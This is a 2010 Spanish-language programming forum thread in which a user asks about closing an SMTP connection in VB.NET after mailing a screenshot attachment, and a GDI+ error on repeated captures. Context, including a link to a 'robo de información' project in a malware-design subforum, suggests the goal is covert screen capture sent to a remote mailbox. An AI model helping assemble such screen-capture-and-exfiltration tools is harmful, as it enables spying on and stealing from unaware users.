Como cierro una conexion SMTP desde visual basic!!!

Iniciado por genomma, 7 Julio 2010, 11:21 AM

0 Miembros y 1 Visitante están viendo este tema.

genomma

Ise esto!!!----->>>>  pero quiero que cuando se envie el mensaje se cierre la conexion SMTP, como hago eso???!!!!------!

Código (csharp) [Seleccionar]
Dim _SMTP As New System.Net.Mail.SmtpClient
           Dim _Message As New System.Net.Mail.MailMessage()
           _SMTP.Credentials = New System.Net.NetworkCredential("XXXXX@live.com", "XXXXXXXX")
           _SMTP.Host = "smtp.live.com"
           _SMTP.Port = 587
           _SMTP.EnableSsl = True

           ' CONFIGURACION DEL MENSAJE

           _Message.[To].Add("XXXXXXX@live.com") 'Cuenta de Correo al que se le quiere enviar el e-mail
           _Message.From = New System.Net.Mail.MailAddress("XXXXXX@live.com", "Test", System.Text.Encoding.UTF8) 'Quien lo envía
           _Message.Subject = "XXXXXXX" 'Sujeto del e-mail
           _Message.SubjectEncoding = System.Text.Encoding.UTF8 'Codificacion
           _Message.BodyEncoding = System.Text.Encoding.UTF8
           _Message.Priority = System.Net.Mail.MailPriority.Normal
           _Message.IsBodyHtml = False

           Dim _File As String = "..\prueba.txt" 'archivo que se quiere adjuntar
           Dim _Attachment As New System.Net.Mail.Attachment(_File, System.Net.Mime.MediaTypeNames.Application.Octet)
           _Message.Attachments.Add(_Attachment)

           _SMTP.Send(_Message)

           MessageBox.Show("Correo enviado!", "Correo", MessageBoxButtons.OK, MessageBoxIcon.Information)

43H4FH44H45H4CH49H56H45H

No necesitas cerrar la conexion, no recuerdo algun code que tuviera que cerrar la conexion luego de que envia el mail.

Para smtp.live.com el .Port era = 25 para smtp.gmail.com era = 587

-R IP
:0100
-A 100 
2826:0100 MOV AH,09
2826:0102 MOV DX,109
2826:0105 INT 21
2826:0105 MOV AH,08
2826:0105 INT 21
2826:0107 INT 20
2826:0109 DB 'MI NICK ES CODELIVE.$' 
2826:0127 
-R BX
:0000
-R CX
:20
-N CODELIVE.COM
-W

[D4N93R]

Cita de: genomma en  7 Julio 2010, 11:21 AM
Ise esto!!!----->>>>

Pretérito perfecto simple o Pretérito: "Hice" http://buscon.rae.es/draeI/SrvltGUIVerbos?origen=RAE&IDVERBO=6909


Para que el código sea más fácil de leer, por favor ponlo entre las equitetas:
[ code=csharp]

Tu código acá..

[/code ]

PD: Se me olvidó de nuevo como poner las etiquetas de geshi sin que sean procesadas.. xD Si alguien me acuerda, gracias.

genomma

#3
Cita de: 43H4FH44H45H4CH49H56H45H en  7 Julio 2010, 14:07 PM
No necesitas cerrar la conexion, no recuerdo algun code que tuviera que cerrar la conexion luego de que envia el mail.

Para smtp.live.com el .Port era = 25 para smtp.gmail.com era = 587


25 lo probé y jamás me conectó, usé el 587 para smtp.live.com y me funcionó biien!--

La razón por la que preguntaba como cerrar la conexion SMTP es porque esta funcion esta asocidad al evio de un archivo (prueba.png)

el archivo "prueba.png" lo obtengo haciendo ésto:
Código (csharp) [Seleccionar]
imgPantalla.Image = GetScreenCapture()


despues lo envio por medio de SMTP:
La cada que ejecuto esta funcion genera la imagen y la envia por mail--- la primera vez lo hace sin ningun problema, pero la segunda vez que trata de volver a generar la imagen me dise "Error generico en GDI+"!!!------->>>Yo suponia que era porque debia cerrar la conexion despues en enviar el archivo--!!!!!


Código (csharp) [Seleccionar]
Dim _File As String = "..\prueba.png" 'archivo que se quiere adjuntar          
Dim _Attachment As New System.Net.Mail.Attachment(_File, System.Net.Mime.MediaTypeNames.Application.Octet)
_Message.Attachments.Add(_Attachment)




43H4FH44H45H4CH49H56H45H

El año pasado trabaje con smtp.live.com y especificaba su funcion con el port 25, ya me dio curiosidad al llegar a casa lo pruebo  :P

Respecto a lo que tratas de hacer te dejo un ejemplo que hice hace tiempo acerca de las capturas y el envio por mail:

Explicación

http://foro.elhacker.net/analisis_y_diseno_de_malware/intellisense_control_via_web_robo_de_informacion-t255155.0.html

Descarga del proyecto

http://www.4shared.com/file/106746397/2040d87e/IntelliSense.html

Esta en C# pero puedes ver como trabajaba.

-R IP
:0100
-A 100 
2826:0100 MOV AH,09
2826:0102 MOV DX,109
2826:0105 INT 21
2826:0105 MOV AH,08
2826:0105 INT 21
2826:0107 INT 20
2826:0109 DB 'MI NICK ES CODELIVE.$' 
2826:0127 
-R BX
:0000
-R CX
:20
-N CODELIVE.COM
-W

genomma

Cita de: 43H4FH44H45H4CH49H56H45H en  7 Julio 2010, 23:58 PM
El año pasado trabaje con smtp.live.com y especificaba su funcion con el port 25, ya me dio curiosidad al llegar a casa lo pruebo  :P

Respecto a lo que tratas de hacer te dejo un ejemplo que hice hace tiempo acerca de las capturas y el envio por mail:

Explicación

http://foro.elhacker.net/analisis_y_diseno_de_malware/intellisense_control_via_web_robo_de_informacion-t255155.0.html

Descarga del proyecto

http://www.4shared.com/file/106746397/2040d87e/IntelliSense.html

Esta en C# pero puedes ver como trabajaba.


Ya lo descargué, lo ví y lo analizé.--  FTP y SMTP funcionan de manera similar, al menos aki el plan es enviar la informacion al servidor y ambos servicios pueden usarse para lograr el objetivo.-!

Te libero mi proyecto para que lo analizes mas a fondo si lo deseas.-!!!???? y me ayudes un poko kon ésto--!!!

Genomma@live.com